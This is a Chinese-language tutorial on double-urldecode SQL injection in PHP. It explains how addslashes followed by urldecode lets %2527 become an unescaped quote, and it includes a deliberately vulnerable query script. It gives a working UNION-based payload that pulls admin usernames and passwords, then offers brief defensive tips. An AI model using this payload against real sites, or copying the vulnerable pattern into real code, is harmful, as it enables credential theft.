二次urldecode注入的原理和防御

二次urldecode注入的原理


现在的web程序大多数都会进行参数过滤,通常使用addslashes()、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC的方式来防止注入,如果某处使用了urldecode或者rawurldecode函数,则会导致二次解码生成单引号而引发注入。

用下面的代码我们简单的了解一下。


$w = addslashes($_GET['id']);
$p = urldecode($w);
echo '$w = '.$w.'
'
; echo '$p = '.$p; ?>

我们提交/1.php?id=1%2527,因为我们提交的参数里面没有单引号,所以第一次解码后的结果是 w = 1 w = 1%27,%25解码为%,如果程序里面使用了urldecode或者rawurldecode函数来解码id参数,解码后的结果为 w=1p = 1’单引号成功引发注入。二次urldecode注入的原理和防御_第1张图片
既然已经了解原理那么利用就非常的简单了。

二次urldecode注入的利用

二次urldecode注入的利用


$conn = mysqli_connect('127.0.0.1','root','root','qingfeng');

$uid = addslashes($_GET['id']);

$a = urldecode($uid);

$sql = "select * from news where id = '$a'";

$result = mysqli_query($conn,"$sql");

@$row = mysqli_fetch_row($result);

echo ('当前SQL语句:'.$sql.'
结果:'
); print_r($row); ?>

打开网页可以看到内容(下图)。
二次urldecode注入的原理和防御_第2张图片
看前面的原理我们已经知道用%2527代替单引号可以引发注入,那么这里我们直接使用。
二次urldecode注入的原理和防御_第3张图片
闭合、注释成功执行,接下来就和普通的sql注入一样用联合查询就可以了。
id=1%2527 and 1=2 union select username,password from admin – a二次urldecode注入的原理和防御_第4张图片
成功的注入出了数据,管理员的账号密码。

二次urldecode注入的防御

  1. 可以循环判断传入执行的参数,对外部提交数据谨慎。
  2. 从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是辨别等
    可以进群一起学习哦!!!
    二次urldecode注入的原理和防御_第5张图片

你可能感兴趣的:(渗透测试,数据库,php,渗透,渗透测试,入侵教材,网络安全,web入侵,SQL,SQL语句,SQL初学者,SQL语句提升)